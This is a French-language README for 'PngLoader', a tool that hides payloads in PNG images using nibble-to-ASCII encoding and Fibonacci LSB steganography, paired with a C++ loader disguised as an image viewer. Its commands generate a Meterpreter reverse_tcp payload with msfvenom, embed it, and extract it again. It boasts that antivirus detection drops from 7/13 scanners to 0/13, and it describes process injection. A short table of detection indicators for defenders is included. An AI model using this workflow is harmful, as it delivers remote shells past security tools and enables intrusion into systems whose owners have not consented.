
Cache des charges utiles arbitraires dans des images PNG à l'aide d'un encodage nibble-vers-ASCII et d'une stéganographie LSB de Fibonacci, avec un loader C++ qui extrait et exécute les données intégrées.
Avertissement : Ce projet est destiné exclusivement à des fins éducatives et de recherche en sécurité autorisée — tests d'intrusion, compétitions CTF, exercices red team et études académiques. Ne l'utilisez pas contre des systèmes sans autorisation écrite explicite.
PngLoader dissimule des données arbitraires à l'intérieur d'images PNG en utilisant deux couches :
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Chaque octet est divisé en deux nibbles de 4 bits. Chaque nibble est mappé vers un caractère ASCII imprimable en ajoutant une base aléatoire (48, 64 ou 96) :
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Décodage utilise la propriété modulo-16 — les trois bases sont des multiples de 16 :
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
La sélection aléatoire de la base signifie que la même entrée produit une sortie différente à chaque fois, mais le décodage est toujours déterministe.
| Base | Plage | Caractères |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
Les octets de la charge utile sont placés aux indices de pixels suivant la suite de Fibonacci (1, 2, 3, 5, 8, 13, 21, …) sur le tableau de pixels aplati. Cela répartit les modifications sur l'ensemble de l'image au lieu de les regrouper.
Compactage des bits — chaque octet est réparti en 3/3/2 sur les LSB RGB :
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Wrapping — lorsque les indices de Fibonacci dépassent le nombre de pixels, ils bouclent via un modulo. Les collisions sont résolues par sondage linéaire. Un terminateur 0x00 marque la fin des données.
| Taille de l'image | Pixels | Capacité propre |
|---|---|---|
| 640×480 | 307 200 | ~27 octets |
| 1920×1080 | 2 073 600 | ~31 octets |
| 4000×3000 | 12M | ~35 octets |
Avec le wrapping activé, capacité max = total_pixels − 1.
Le loader C++ (loader_png.cpp) agit comme une visionneuse PNG légitime :
UtilDecryptFileQuoted() (inversion mod-16)La suite de Fibonacci n'est qu'une approche parmi d'autres. D'autres stratégies de sélection de pixels offrent différents compromis capacité/sécurité :
| Algorithme | Capacité propre (1080p) | Clé partagée | Répartition | Coût |
|---|---|---|---|---|
| Fibonacci (implémenté) | ~31 octets | Non | Écarts exponentiels | Minimal |
| Prime-Index | ~150K octets | Non | Écarts n·ln(n) | Modéré |
| LFSR | ~2M octets | Oui (graine) | Pseudo-aléatoire | Minimal |
| Keyed Permutation | ~2M octets | Oui (clé) | Cryptographique | Élevé |
| Courbe de Hilbert | Dépend du pas | Non | Spatialement uniforme | Modéré |
| Nombre d'or (Weyl) | ~2M octets | Non | Faible discrépance | Minimal |
Prime-Index — Les indices de pixels sont des nombres premiers (2, 3, 5, 7, 11…). Les nombres premiers croissent comme n·ln(n), offrant une capacité propre bien supérieure à Fibonacci.
LFSR — Un registre à décalage à rétroaction linéaire de longueur maximale produit une permutation pseudo-aléatoire. La graine agit comme un secret partagé. Aucune collision sur la période complète.
Keyed Permutation (Fisher-Yates) — Un mélange de tous les indices de pixels amorcé par un CSPRNG. Les positions sont indiscernables du hasard sans la clé.
Courbe de Hilbert — Parcourt les pixels le long d'une courbe remplissant l'espace avec un pas. Répartit les modifications uniformément sur la surface 2D de l'image.
Nombre d'or (séquence de Weyl) — pos(n) = floor(n × φ × total) mod total. Produit la distribution 1D la plus uniforme possible. Trivial à calculer.
Charge utile brute — 7/13 scanners la détectent :

Après encodage — 0/13 scanners la détectent :

Pour les blue-teams / défenseurs :
| Couche | Indicateur |
|---|---|
| Statique | Imports : VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Image | La stéganalyse par chi-deux sur les plans LSB détecte les modifications |
| Comportemental | Création de processus suspendu + injection de thread distant (Sysmon EID 1+8) |
| Encodage | Caractères exclusivement issus de trois plages ASCII de 16 caractères |
Python :
pip install numpy Pillow
Chargeur C++ :
1.Loader/Loader_png.vcxproj → Build Release x64Recherche en sécurité éducative et autorisée uniquement. Voir l'avertissement ci-dessus.